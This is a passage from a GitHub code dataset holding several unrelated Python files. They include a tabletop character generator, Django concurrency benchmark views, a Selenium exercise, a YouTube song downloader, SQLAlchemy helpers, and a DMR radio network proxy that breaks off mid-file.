random_character_class(self):\n \"\"\"\n Randomly chooses a character class from among those it has access to (from the database) and\n applies it to the character object\n\n :return: None\n \"\"\"\n class_obj = self.character.random.choice(self.classes)\n self.character.apply_class(class_obj)\n\n def random_character_package(self):\n \"\"\"\n Randomly chooses a skill package from among those it has access to (from the database) and\n applies it to the character object\n\n :return: None\n \"\"\"\n package = self.character.random.choice(self.packages)\n self.character.apply_package(package)\n\n def random_character_stats(self):\n \"\"\"\n Generates stats for the attached character and uses them to calculate derived attributes.\n\n :return: None\n \"\"\"\n self.character.apply_stats()\n self.character.calculate_attributes()\n\n def random_character_bonds(self):\n \"\"\"\n Uses the bonds it has on file as valid for the character class and the number of bonds the\n character class allows to create the correct number of bonds, well distributed across\n potential types of bonds.\n\n :return: None\n \"\"\"\n num_bonds = self.character.num_bonds\n if num_bonds:\n self.character.add_bond(self.character.random.choice(self.bonds))\n num_bonds -= 1\n\n for _ in range(num_bonds):\n bond_types = self.character.get_bond_types()\n all_types = all([bond_types[bond_type] for bond_type in bond_types])\n while True:\n proposed_bond = self.character.random.choice(self.bonds)\n if proposed_bond in self.character.bonds:\n continue\n\n if all_types:\n self.character.add_bond(proposed_bond)\n break\n\n for bond_type in bond_types:\n if proposed_bond.get(bond_type, False): # protects against missing properties\n proposed_bond_type = bond_type\n break\n else:\n continue\n\n if not self.character.has_bond_type(proposed_bond_type):\n self.character.add_bond(proposed_bond)\n break\n\n def random_damaged_veteran(self):\n \"\"\"\n Applies a random type of random veteran to the character. This is the last thing that\n should be applied to a character\n\n :return: None\n \"\"\"\n types = ['Violence', 'Helpless', 'Unnatural', 'Hard Experience']\n damage_type = self.character.random.choice(types)\n\n if damage_type == 'Violence':\n self.character.damaged_veteran_violence()\n elif damage_type == 'Helpless':\n self.character.damaged_veteran_helplessness()\n elif damage_type == 'Unnatural':\n self.character.damaged_veteran_unnatural(self.disorders['Unnatural'])\n else:\n self.character.damaged_veteran_experience()\n\n def generate(self):\n \"\"\"\n Method that randomly generates a completed Delta Green character. Returns a dictionary\n that contains all game relevant information about the character.\n\n :return: A dictionary with keys **Class**, **Package**, **Number_Bonds**, **Bonds** (here\n the name of the bond is mapped to the strength of the bond, an integer), **Lost_Bonds**\n (a simple list), **Veteran** (empty string if not a veteran) **Disorders** (empty list\n if none exist), **Adapted_To** (likewise empty if the character isn't adapted to\n violence or helplessness), **Attributes** (HP, WP, San, BP in dictionary format),\n **Stats**, and **Skills**\n :rtype: dict\n \"\"\"\n self.random_character_class()\n self.random_character_package()\n self._get_bonds()\n self.random_character_stats()\n self.random_character_bonds()\n if self.character.random.randrange(0, 3) == 2:\n self.random_damaged_veteran()\n return self.character.get_character()\n\n def save_character(self):\n \"\"\"\n Method for saving a character to the database. Returns the unique ID of the record the\n character is saved to.\n\n :return: A MongoDB ID, corresponding to the record in which the character is saved.\n :rtype: ObjectID\n \"\"\"\n\n return self.character.save()\n","repo_name":"zejacobi/DeltaGreen","sub_path":"Lib/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":9283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70157119467","text":"import time\nimport requests\nimport concurrent.futures\nfrom django.http import JsonResponse # Import JsonResponse to return a JSON response\nfrom rest_framework.response import Response\nfrom rest_framework import viewsets\nfrom django.views import View\nfrom rest_framework import generics\nfrom adrf.views import APIView\n\n\n# Define the URLs of the sample APIs you want to test\nclass Concurrent(APIView):\n\n def get(self, request): # Change 'requests' to 'request'\n start = time.time()\n\n def fetch_data(url):\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n return {'error': f'Failed to retrieve data from {url}'}\n\n api_urls = ['https://jsonplaceholder.typicode.com/posts/1',\n 'https://jsonplaceholder.typicode.com/posts/2',\n 'https://jsonplaceholder.typicode.com/posts/3',\n 'https://jsonplaceholder.typicode.com/posts/4']\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\n results = list(executor.map(fetch_data, api_urls))\n\n data=[{\"data\": result} for result in results] # Create a response data dictionary\n end = time.time()\n total= end-start\n ans = {\"data\": data, \"total\": total}\n return Response(ans)\n\nimport asyncio\nimport nest_asyncio\nimport requests\n\n\nclass Asyncio(APIView):\n # def __init__(self):\n # nest_asyncio.apply()\n async def get(self,request):\n start = time.time()\n async def fetch_data1(url):\n response = await asyncio.to_thread(requests.get, url)\n if response.status_code == 200:\n return response.json()\n return {'error': f'Failed to retrieve data from {url}'}\n api_urls = ['https://api.publicapis.org/entries',\n 'https://catfact.ninja/fact',\n 'https://api.coindesk.com/v1/bpi/currentprice.json',\n 'https://www.boredapi.com/api/activity']\n tasks = [fetch_data1(url) for url in api_urls]\n results = await asyncio.gather(*tasks)\n data=[{\"data\": result} for result in results]\n end = time.time()\n total = end - start\n ans = {\"data\": data, \"total\": total}\n return Response(ans)\n#\n# if __name__ == '__main__':\n# asyncio_example = AsyncioExample()\n# asyncio.run(asyncio_example.main())\n\n\n\nimport asyncio\nimport multiprocessing\n\n\n# import aiohttp\n# async def fetch_data_wrapper(url):\n# loop = asyncio.get_event_loop()\n# return await loop.run_in_executor(None, lambda: fetch_data2(url))\n\ndef fetch_data(url):\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n\n\nclass Multiprocessing(APIView):\n\n def get(self,requests):\n start = time.time()\n\n api_urls = ['https://api.publicapis.org/entries',\n 'https://catfact.ninja/fact',\n 'https://api.coindesk.com/v1/bpi/currentprice.json',\n 'https://www.boredapi.com/api/activity']\n with multiprocessing.Pool(processes=len(api_urls)) as pool:\n results = pool.map(fetch_data, api_urls)\n end = time.time()\n total = end - start\n data = [{\"data\": result} for result in results]\n ans={\"data\":data,\"total\":total}\n return Response(ans)\n\nimport aiohttp\nimport asyncio\n\n\nclass Aiohttp(APIView):\n async def get(self,requests):\n start = time.time()\n async def fetch_data3(url):\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n if response.status == 200:\n return await response.json()\n return {'error': f'Failed to retrieve data from {url}'}\n\n api_urls = ['https://api.publicapis.org/entries',\n 'https://catfact.ninja/fact',\n # 'https://api.coindesk.com/v1/bpi/currentprice.json',\n 'https://www.boredapi.com/api/activity']\n tasks = [fetch_data3(url) for url in api_urls]\n results = await asyncio.gather(*tasks)\n end = time.time()\n total = end - start\n data = [{\"data\": result} for result in results]\n ans = {\"data\": data, \"total\": total}\n return Response(ans)\n\n\nimport httpx\n\n\nclass Httpx(APIView):\n async def get(self,requests):\n start = time.time()\n async def fetch_data4(url):\n async with httpx.AsyncClient() as client:\n response = await client.get(url)\n if response.status_code == 200:\n return response.json()\n return {'error': f'Failed to retrieve data from {url}'}\n api_urls = ['https://api.publicapis.org/entries',\n 'https://catfact.ninja/fact',\n 'https://api.coindesk.com/v1/bpi/currentprice.json',\n 'https://www.boredapi.com/api/activity']\n tasks = [fetch_data4(url) for url in api_urls]\n results = await asyncio.gather(*tasks)\n data = [{\"data\": result} for result in results]\n end = time.time()\n total = end - start\n ans = {\"data\": data, \"total\": total}\n return Response(ans)\n\n","repo_name":"MUKESH0R/Thread","sub_path":"thread/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21726488065","text":"import math\nfrom selenium import webdriver\nimport time\n\ndef calc(x):\n return str(math.log(abs(12*math.sin(int(x)))))\n#346\n\nlink=\"http://suninjuly.github.io/math.html\"\n\ntry:\n browser = webdriver.Chrome()\n browser.get(link)\n x_element = browser.find_element_by_id('input_value')\n\n x = x_element.text\n y = calc(x)\n#\n input1 = browser.find_element_by_id(\"answer\")\n input1.send_keys(y)\n#\n input2 = browser.find_element_by_id(\"robotCheckbox\")\n input2.click()\n#\n input3 = browser.find_element_by_id(\"robotsRule\")\n input3.click()\n button = browser.find_element_by_xpath('//button[contains(text(), \"Submit\")]')\n button.click()\n#\nfinally:\n # успеваем скопировать код за 30 секунд\n time.sleep(30)\n # закрываем браузер после всех манипуляций\n browser.quit()","repo_name":"se271196/stepik_auto_tests_course","sub_path":"homework/test_project/part4_Lesson4.py","file_name":"part4_Lesson4.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42507698400","text":"# шаблон\nimport pygame\nfrom config import *\n\n# Создаем игру и окно\npygame.init() # запуск pygame\npygame.mixer.init() # запуск штуки для звука\nscreen = pygame.display.set_mode((WIDTH, HEIGHT)) # создаём окно игры\npygame.display.set_caption(\"Game 3000\") # название игры\nclock = pygame.time.Clock()\n\n# Цикл игры\nrunning = True\nwhile running:\n # Команда tick() просит pygame определить, сколько занимает цикл(кадр), а затем сделать паузу, чтобы цикл (кадр) длился нужное время\n clock.tick(FPS)\n # в общем нужно для того чтобы игра работла в 30 FPS\n # Ввод процесса (события)\n for event in pygame.event.get():\n # проверка на закрытие окна\n if event.type == pygame.QUIT:\n running = False\n\n # Обновление\n\n # Рендеринг\n\n screen.fill(BLACK)\n # После отрисовки всего, переворачиваемт экран\n pygame.display.flip()\n\npygame.quit()\n","repo_name":"WinstonBump/WinstonMasshorse","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42875472414","text":"import numpy as np\nimport pandas as pd\nimport datetime\nfrom sklearn.model_selection import train_test_split\n\ndef load_data(confirm_data_path, death_data_path):\n confirmed_df = pd.read_csv(confirm_data_path)\n deaths_df = pd.read_csv(death_data_path)\n\n # only filter US data\n cols = confirmed_df.keys()\n confirmed = confirmed_df[confirmed_df[\"Country/Region\"] == \"US\"].loc[:, cols[4]:cols[-1]]\n deaths = deaths_df[deaths_df[\"Country/Region\"] == \"US\"].loc[:, cols[4]:cols[-1]]\n\n # get the dates\n dates = confirmed.keys()\n return confirmed, deaths, dates\n\n\ndef prepare_data(data, dates):\n X_train, X_test, y_train, y_test = train_test_split(\n np.array([i for i in range(len(dates))]).reshape(-1, 1) , \n data.T.values, \n test_size=0.1, shuffle=False\n ) \n return X_train, X_test, y_train, y_test\n\ndef get_forecast_dates(dates, start = \"1/22/2020\", n_days=7):\n future_forcast = np.array([i for i in range(len(dates) + n_days)]).reshape(-1, 1)\n start_date = datetime.datetime.strptime(start, '%m/%d/%Y')\n future_forcast_dates = []\n for i in range(len(future_forcast)):\n future_forcast_dates.append((start_date + datetime.timedelta(days=i)).strftime('%m/%d/%Y'))\n return future_forcast, future_forcast_dates\n\ndef get_daily_pred(future_forcast_dates, pred_df, name, n_days=8):\n pred_df = pred_df.reshape(1,-1)[0]\n pred_df = pd.DataFrame({\n 'date': future_forcast_dates[-n_days:], \n 'cumulative_pred': np.round(pred_df[-n_days:])\n })\n pred_df[name] = pred_df[\"cumulative_pred\"].diff(1)\n return pred_df.iloc[1:][[\"date\", name]].set_index(\"date\")\n\ndef get_daily_data(data):\n daily_df = data.T.diff(periods=1)\n daily_df.columns = [\"cnt\"]\n daily_df.iloc[0, 0] = data.iloc[0, 0]\n daily_df = daily_df.reset_index(drop=False)\n daily_df.columns = [\"date\", \"cnt\"]\n return daily_df\n\n","repo_name":"Karenou/DataMining","sub_path":"covid_prediction/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41670357730","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\n\nxs = np.linspace(-2,2,100)\nys = np.linspace(-2,2,100)\nXX,YY = np.meshgrid(xs,ys)\nzs = 10**(XX*YY)\n\nplt.figure(facecolor='w',figsize=(5,4))\nplt.axes().set_aspect('equal', 'datalim')\n\n#zs[2,2] = np.nan\nplt.pcolormesh(XX,YY,zs, cmap='coolwarm', norm=LogNorm(vmin=1e-4, vmax=1e4))\ncbar = plt.colorbar()\ncbar.set_clim(1e-4,1e4)\ncbar.set_label(\"color bar\")\n\nplt.show()\n","repo_name":"mokkei1978/mytool","sub_path":"python/plot/pcolormesh_log.py","file_name":"pcolormesh_log.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27820265959","text":"import subprocess, json\nfrom .fixed_pytube import YouTube\nfrom html import unescape\n\ndef _charScore(character):\n if character in ('-','~'):\n return 2.0\n elif character is ':':\n return 1.5\n elif character is ';':\n return 1.3\n elif character is \"'\":\n return 0.5\n else:\n return 1.0\n\ndef _bracketScore(word):\n if word.strip().lower() in [\"official\",\"music\",\"audio\",\"video\",\"lyric\",\"cover\",\"remaster\",\"version\"]:\n return 1.0\n elif word.strip().isnumeric():\n return 0.5\n else:\n return -1.0\n\ndef _quoteScore(word):\n if word.strip().lower() in [\"official\",\"music\",\"audio\",\"video\",\"lyric\",\"cover\",\"remaster\",\"version\",\"full\",\"song\",\"by\"]:\n return 1.0\n elif word.strip().isnumeric():\n return 0.5\n else:\n return -1.0\n\ndef getSongName(title,details):\n \"\"\" Methodology:\n Typically, songs are either uploaded to youtube like 'Artist - SongName' or 'SongName - Artist' or 'SongName', where ' - ' may be any chosen separation string,\n but typically contains at least one non-alphanumerical character. Or I guess it could be 'by'.\n The third circumstance, 'SongName' most frequently occurs when the video is by an official artist channel; then, the artists name is typically the channel name.\n Also, most often in the third circumstance, the title may be 'SongName (Official Music Video)' or the like, and channel may be 'Artist - Topic'.\n Songs may sometimes also be uploaded with quotes, as in '\"SongName\" full song' or '\"SongName\" by Artist'.\n This code works on the theory that one of the above three cases is the case, and tries to guess which is most likely. \"\"\"\n title = unescape(title)\n authorString = details[\"author\"]\n #First, test for brackets in the title\n moddedTitle = ''.join([ \"(\" if character in \"()[]{}\" else character for character in title])\n if \"(\" in moddedTitle:\n #Might have (Official Music Video)\n moddedTitleBroken = [item.split(\" \") for item in moddedTitle.split(\"(\")[1:] if len([word for word in item.split(\" \") if len(word) > 0]) > 0]\n moddedTitleBrokenScore = [sum([_bracketScore(word) for word in item if len(word) > 0]) for item in moddedTitleBroken]\n for i,score in enumerate(moddedTitleBrokenScore):\n if score >= 0:\n innerString = \" \".join(moddedTitleBroken[i])\n frontIndex = title.index(innerString)\n backIndex = frontIndex + len(innerString)\n title = (title[:frontIndex-1] + title[backIndex+1:]).replace(\" \",\" \")\n elif '\"' in title:\n #print(title)\n #Might have \"SongName\"\n titleBroken = [item.split(\" \") for item in title.split('\"')[1:] if len([word for word in item.split('\"') if len(word)>0])>0]\n titleBrokenScore = [sum([_quoteScore(word) for word in item if len(word) > 0]) for item in titleBroken]\n for i,score in enumerate(titleBrokenScore):\n #print(i,score)\n if score >= 0:\n isByStr = False\n innerString = \" \".join(titleBroken[i])\n if \"by\" in innerString.lower(): #might be \"SongName\" by Artist\n brokenInnerString = innerString.split(\" \")\n if brokenInnerString[0].strip().lower() == \"by\":\n isByStr = True\n frontIndex = title.index(innerString)\n if isByStr:\n newBackIndex = title[frontIndex:].lower().index(\"by\")\n return (title[:frontIndex-1].strip().strip('\"').strip(),title[frontIndex+newBackIndex+2:].strip().strip('\"').strip())\n backIndex = frontIndex + len(innerString)\n #print(frontIndex,backIndex)\n title = (title[:frontIndex-1] + title[backIndex+1:]).replace(\" \",\" \").strip().strip('\"').strip()\n #See if splitting the words is valid\n titleWords = [item for item in unescape(title).split(\" \") if len(item) is not 0]\n titleNonAlphaNumericScore = [sum([-abs((len(word)/2.0)-i)/len(word) if character.isalnum() else _charScore(character)*abs((len(word)/2.0)-i)/len(word) for i,character in enumerate(word)]) for word in titleWords]\n splitScore = max(titleNonAlphaNumericScore)\n #print(titleWords)\n #print(titleNonAlphaNumericScore)\n mostLikelySplitIndex = titleNonAlphaNumericScore.index(splitScore)\n splitWord = titleWords[mostLikelySplitIndex]\n splitSubscores = [-abs((len(splitWord)/2.0)-i)/len(splitWord) if character.isalnum() else _charScore(character)*abs((len(splitWord)/2.0)-1)/len(splitWord) for i,character in enumerate(splitWord)]\n splitSubscore = max(splitSubscores)\n mostLikelySubsplitIndex = splitSubscores.index(splitSubscore)\n firstPart = splitWord[:mostLikelySubsplitIndex]\n while len(firstPart) > 0 and not firstPart[-1].isalnum():\n firstPart = firstPart[:-1]\n lastPart = splitWord[mostLikelySubsplitIndex:]\n while len(lastPart) > 0 and not lastPart[0].isalnum():\n lastPart = lastPart[1:]\n firstSplitString = \" \".join(titleWords[:mostLikelySplitIndex] + [firstPart]).strip()\n secondSplitString = \" \".join([lastPart] + titleWords[mostLikelySplitIndex+1:]).strip()\n if (splitScore > 0):\n #print(\"Presuming 'x - y'. Deciding order.\")\n return (firstSplitString,secondSplitString)\n else:\n #print(\"Presuming 'songname' unless evidence against\")\n isSongname = True\n #check against info in description and keywords\n if \"shortDescription\" in details:\n if firstSplitString.lower() in details[\"shortDescription\"].lower() and secondSplitString.lower() not in details[\"shortDescription\"].lower():\n isSongname = False\n elif secondSplitString.lower() in details[\"shortDescription\"].lower() and firstSplitString.lower() not in details[\"shortDescription\"].lower():\n isSongname = False\n elif firstSplitString.lower() in details[\"shortDescription\"].lower() and details[\"shortDescription\"].lower().index(secondSplitString.lower()) < details[\"shortDescription\"].lower().index(firstSplitString.lower()):\n isSongname = False\n if \"keywords\" in details:\n kwords = [kword.lower() for kword in details[\"keywords\"]]\n if firstSplitString.lower() in kwords and secondSplitString.lower() not in kwords:\n isSongname = False\n elif secondSplitString.lower() in kwords and firstSplitString.lower() not in kwords:\n isSongname = False\n elif firstSplitString.lower() in kwords and kwords.index(secondSplitString.lower()) < kwords.index(firstSplitString.lower()):\n isSongname = False\n if firstSplitString == '':\n isSongname = True\n if secondSplitString == '':\n isSongname = True\n if splitSubscore < 0:\n isSongname = True\n if isSongname:\n #might have - Topic\n if \"-\" in authorString:\n authorString = \"-\".join([item for item in authorString.split(\"-\") if item.strip().lower() != \"topic\"])\n return(authorString.strip(),title.strip())\n else:\n #print(\"changed my mind. Deciding order.\")\n return(firstSplitString,secondSplitString)\n\n\ndef get_song(section,**kwargs):\n \"\"\" Downloads the video at youtubeUrl, saves it as a wav file at given destination, and then returns song info \"\"\"\n youtubeUrl = kwargs[\"url\"]\n try:\n destination = section[\"song-database-loc\"]\n except KeyError:\n print(\"Please set the song-database-loc keyword in request config\")\n raise\n track = YouTube(youtubeUrl)\n videoDetails = track.player_config_args[\"player_response\"][\"videoDetails\"]\n sf = track.streams.filter(progressive=True,subtype=\"mp4\")\n stream = sf.all()[0]\n songData = {\"duration\":videoDetails[\"lengthSeconds\"]}\n #Work out the file name\n songData[\"file_path\"] = destination+stream.default_filename.replace(\".mp4\",\".wav\")\n #Check the file doesn't already exist\n fileAlreadyExists = True\n try:\n subprocess.run('ls \"{}\"'.format(songData[\"file_path\"]),shell=True,check=True)\n except:\n fileAlreadyExists = False\n if fileAlreadyExists:\n print(\"Song already exists at {}\".format(songData[\"file_path\"]))\n return None\n else:\n #Try to guess the song name and artist\n songData[\"artist\"],songData[\"name\"] = getSongName(track.title,videoDetails)\n #Download\n stream.download()\n #Convert to .wav\n subprocess.call('ffmpeg -i \"{}\" \"{}\"'.format(stream.default_filename,songData[\"file_path\"]),shell=True)\n #Remove vid\n subprocess.call('rm \"{}\"'.format(stream.default_filename),shell=True)\n return songData\n\ndef get_parser(section):\n \"\"\" Returns a flask request parser for POST requests to the PyTube requester \"\"\"\n from flask_restful import reqparse\n parser = reqparse.RequestParser()\n parser.add_argument('url', type=str, required=True)\n return parser\n","repo_name":"JR-Mitchell/PyTubeForAsteroid","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33427490261","text":"from sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy.sql import func\r\nfrom sqlalchemy_declarative import Base, Frase\r\nimport os\r\n\r\n# ----- Funções para o banco ------------------------------------------\r\n\r\ndb_string = os.getenv(\"DATABASE_URL\").replace(\"postgres\", \"postgresql\")\r\n\r\nengine = create_engine(db_string)\r\n\r\nBase.metadata.bind = engine\r\n\r\nDBSession = sessionmaker(bind=engine)\r\n\r\n\r\ndef inserir_frase(url):\r\n session = DBSession()\r\n try:\r\n frase = Frase(url=url)\r\n session.add(frase)\r\n session.commit()\r\n except:\r\n session.rollback()\r\n raise\r\n finally:\r\n session.close()\r\n\r\n\r\ndef todas_frases():\r\n session = DBSession()\r\n frases = []\r\n try:\r\n frases = session.query(Frase)\r\n except:\r\n raise\r\n finally:\r\n session.close()\r\n return frases\r\n\r\n\r\ndef frase_aleatoria():\r\n session = DBSession()\r\n frase = None\r\n try:\r\n frase = session.query(Frase).order_by(func.random()).first()\r\n except:\r\n raise\r\n finally:\r\n session.close()\r\n return frase\r\n\r\n\r\ndef deletar_frase(index):\r\n session = DBSession()\r\n try:\r\n session.query(Frase).filter(Frase.id == index).delete()\r\n session.commit()\r\n except:\r\n session.rollback()\r\n raise\r\n finally:\r\n session.close()\r\n","repo_name":"blestprune/furadeira","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39352376722","text":"from hashlib import pbkdf2_hmac\nimport random\nimport ipaddress\nimport os\nfrom datetime import datetime\nfrom time import time\n\nfrom twisted.internet.protocol import DatagramProtocol\nfrom twisted.internet.defer import inlineCallbacks\nfrom twisted.internet import reactor, task\nfrom setproctitle import setproctitle\nfrom dmr_utils3.utils import int_id\n\nfrom proxy_db import ProxyDB\n\n# Does anybody read this stuff? There's a PEP somewhere that says I should do this.\n__author__ = 'Simon Adlem - G7RZU'\n__verion__ = '1.0.0'\n__copyright__ = 'Copyright (c) Simon Adlem, G7RZU 2020,2021,2022'\n__credits__ = 'Jon Lee, G4TSN; Norman Williams, M6NBP; Christian, OA4DOA'\n__license__ = 'GNU GPLv3'\n__maintainer__ = 'Simon Adlem G7RZU'\n__email__ = 'simon@gb7fr.org.uk'\n\n\ndef IsIPv4Address(ip):\n try:\n ipaddress.IPv4Address(ip)\n return True\n except ValueError as errorCode:\n pass\n return False\n\n\ndef IsIPv6Address(ip):\n try:\n ipaddress.IPv6Address(ip)\n return True\n except ValueError as errorCode:\n pass\n\n\nclass Proxy(DatagramProtocol):\n\n def __init__(self, Master, ListenPort, connTrack, peerTrack, blackList, IPBlackList, Timeout,\n Debug, ClientInfo, DestportStart, DestPortEnd, db_proxy, selfservice):\n self.master = Master\n self.connTrack = connTrack\n self.peerTrack = peerTrack\n self.timeout = Timeout\n self.debug = Debug\n self.clientinfo = ClientInfo\n self.blackList = blackList\n self.IPBlackList = IPBlackList\n self.destPortStart = DestportStart\n self.destPortEnd = DestPortEnd\n self.numPorts = DestPortEnd - DestportStart\n self.db_proxy = db_proxy\n self.selfserv = selfservice\n\n def reaper(self,_peer_id):\n if self.debug:\n print('dead', _peer_id)\n if self.clientinfo and _peer_id != b'\\xff\\xff\\xff\\xff':\n print(f\"{datetime.now().replace(microsecond=0)} Client: ID:{str(int_id(_peer_id)).rjust(9)} \"\n f\"IP:{self.peerTrack[_peer_id]['shost'].rjust(15)} Port:{self.peerTrack[_peer_id]['sport']} Removed.\")\n self.transport.write(b'RPTCL'+_peer_id, (self.master,self.peerTrack[_peer_id]['dport']))\n self.connTrack[self.peerTrack[_peer_id]['dport']] = False\n if self.selfserv:\n self.db_proxy.updt_tbl('log_out', _peer_id)\n del self.peerTrack[_peer_id]\n\n def datagramReceived(self, data, addr):\n # HomeBrew Protocol Commands\n DMRD = b'DMRD'\n DMRA = b'DMRA'\n MSTCL = b'MSTCL'\n MSTNAK = b'MSTNAK'\n MSTPONG = b'MSTPONG'\n MSTN = b'MSTN'\n MSTP = b'MSTP'\n MSTC = b'MSTC'\n RPTL = b'RPTL'\n RPTPING = b'RPTPING'\n RPTCL = b'RPTCL'\n RPTL = b'RPTL'\n RPTACK = b'RPTACK'\n RPTK = b'RPTK'\n RPTC = b'RPTC'\n RPTP = b'RPTP'\n RPTA = b'RPTA'\n RPTO = b'RPTO'\n\n #Proxy control commands\n PRBL = b'PRBL'\n\n _peer_id = False\n host,port = addr\n nowtime = time()\n Debug = self.debug\n\n if host in self.IPBlackList:\n return\n\n #If the packet comes from the master\n if host == self.master:\n _command = data[:4]\n\n if _command == PRBL:\n _peer_id = data[4:8]\n _bltime = data[8:].decode('UTF-8')\n _bltime = float(_bltime)\n try:\n self.IPBlackList[self.peerTrack[_peer_id]['shost']] = _bltime\n except KeyError:\n return\n if self.clientinfo:\n print('Add to blacklist: host {}. Expire time {}').format(self.peerTrack[_peer_id]['shost'],_bltime)\n return\n\n if _command == DMRD:\n _peer_id = data[11:15]\n elif _command == RPTA:\n if data[6:10] in self.peerTrack:\n _peer_id = data[6:10]\n else:\n _peer_id = self.connTrack[port]\n elif _command == MSTN:\n _peer_id = data[6:10]\n elif _command == MSTP:\n _peer_id = data[7:11]\n elif _command == MSTC:\n _peer_id = data[5:9]\n\n if self.debug:\n print(data)\n if _peer_id in self.peerTrack:\n self.transport.write(data,(self.peerTrack[_peer_id]['shost'],self.peerTrack[_peer_id]['sport']))\n # Remove the client after send a MSTN or MSTC packet\n if _command in (MSTN, MSTC):\n # Give time to the client for a reply to prevent port reassignment\n self.peerTrack[_peer_id]['timer'].reset(15)\n return\n\n else:\n _command = data[:4]\n\n if _command == DMRD: # DMRData -- encapsulated DMR data frame\n _peer_id = data[11:15]\n elif _command == DMRA: # DMRAlias -- Talker Alias information\n _peer_id = data[4:8]\n elif _command == RPTL: # RPTLogin -- a repeater wants to login\n _peer_id = data[4:8]\n elif _command == RPTK: # Repeater has answered our login challenge\n _peer_id = data[4:8]\n elif _command == RPTC: # Repeater is sending it's configuraiton OR disconnecting\n if data[:5] == RPTCL: # Disconnect command\n _peer_id = data[5:9]\n else:\n _peer_id = data[4:8] # Configure Command\n if self.selfserv and _peer_id in self.peerTrack:\n mode = data[97:98].decode()\n callsign = data[8:16].rstrip().decode()\n self.db_proxy.ins_conf(int_id(_peer_id), _peer_id, callsign, addr[0], mode)\n # Self Service options will be send 10 sec. after login\n self.peerTrack[_peer_id]['opt_timer'] = reactor.callLater(10, self.login_opt, _peer_id)\n\n elif _command == RPTO: # options\n _peer_id = data[4:8]\n if self.selfserv and _peer_id in self.peerTrack:\n # Store Self Service password in database\n if data[8:].upper().startswith(b'PASS='):\n _psswd = data[13:]\n if len(_psswd) >= 6:\n dk = pbkdf2_hmac('sha256', _psswd, b'RYSEN', 2000).hex()\n self.db_proxy.updt_tbl('psswd', _peer_id, psswd=dk)\n self.transport.write (b''.join([RPTACK, _peer_id]), addr)\n print(f'Password stored for: {int_id(_peer_id)}')\n return\n self.db_proxy.updt_tbl('opt_rcvd', _peer_id)\n # Options send by peer overrides Self Service options\n if self.peerTrack[_peer_id]['opt_timer'].active():\n self.peerTrack[_peer_id]['opt_timer'].cancel()\n print(f'Options received from: {int_id(_peer_id)}')\n\n elif _command == RPTP: # RPTPing -- peer is pinging us\n _peer_id = data[7:11]\n else:\n return\n \n if _peer_id in self.peerTrack:\n _dport = self.peerTrack[_peer_id]['dport']\n self.peerTrack[_peer_id]['sport'] = port\n self.peerTrack[_peer_id]['shost'] = host\n self.transport.write(data, (self.master,_dport))\n self.peerTrack[_peer_id]['timer'].reset(self.timeout)\n if self.debug:\n print(data)\n return\n\n else:\n if int_id(_peer_id) in self.blackList:\n return\n # Make a list with the available ports\n _ports_avail = [port for port in self.connTrack if not self.connTrack[port]]\n if _ports_avail:\n _dport = random.choice(_ports_avail)\n else:\n return\n self.connTrack[_dport] = _peer_id\n self.peerTrack[_peer_id] = {}\n self.peerTrack[_peer_id]['dport'] = _dport\n self.peerTrack[_peer_id]['sport'] = port\n self.peerTrack[_peer_id]['shost'] = host\n self.peerTrack[_peer_id]['timer'] = reactor.callLater(self.timeout,self.reaper,_peer_id)\n self.transport.write(data, (self.master,_dport))\n pripacket = b''.join([b'PRIN',host.encode('UTF-8'),b':',str(port).encode('UTF-8')])\n #Send IP and Port info to server\n self.transport.write(pripacket, (self.master,_dport))\n\n if self.clientinfo and _peer_id != b'\\xff\\xff\\xff\\xff':\n print(f'{datetime.now().replace(microsecond=0)} New client: ID:{str(int_id(_peer_id)).rjust(9)} '\n f'IP:{host.rjust(15)} Port:{port}, assigned to port:{_dport}.')\n if self.debug:\n print(data)\n return\n\n @inlineCallbacks\n def login_opt(self, _peer_id):\n try:\n res = yield db_proxy.slct_opt(_peer_id)\n options = res[0][0]\n if options:\n bytes_pkt = b''.join((b'RPTO', _peer_id, options.encode()))\n self.transport.write(bytes_pkt, (self.master, self.peerTrack[_peer_id]['dport']))\n print(f'Options sent at login for: {int_id(_peer_id)}, opt: {options}')\n\n except Exception as err:\n print(f'login_opt error: {err}')\n\n @inlineCallbacks\n def send_opts(self):\n try:\n results = yield db_proxy.slct_db()\n for item in results:\n _peer_id, options = item\n if _peer_id not in self.peerTrack or not options:\n continue\n self.db_proxy.updt_tbl('rst_mod', _peer_id)\n bytes_pkt = b''.join((b'RPTO', _peer_id, options.encode()))\n self.transport.write(bytes_pkt, (self.master, self.peerTrack[_peer_id]['dport']))\n print(f'Options update sent for: {int_id(_peer_id)}')\n\n except Exception as err:\n print(f'send_opts error: {err}')\n\n def lst_seen(self):\n # Update last seen\n dmrid_list = [(ite,) for ite in self.peerTrack]\n if dmrid_list:\n self.db_proxy.updt_lstseen(dmrid_list)\n\n\nif __name__ == '__main__':\n \n import signal\n import configparser\n import argparse\n import sys\n import json\n\n #Set 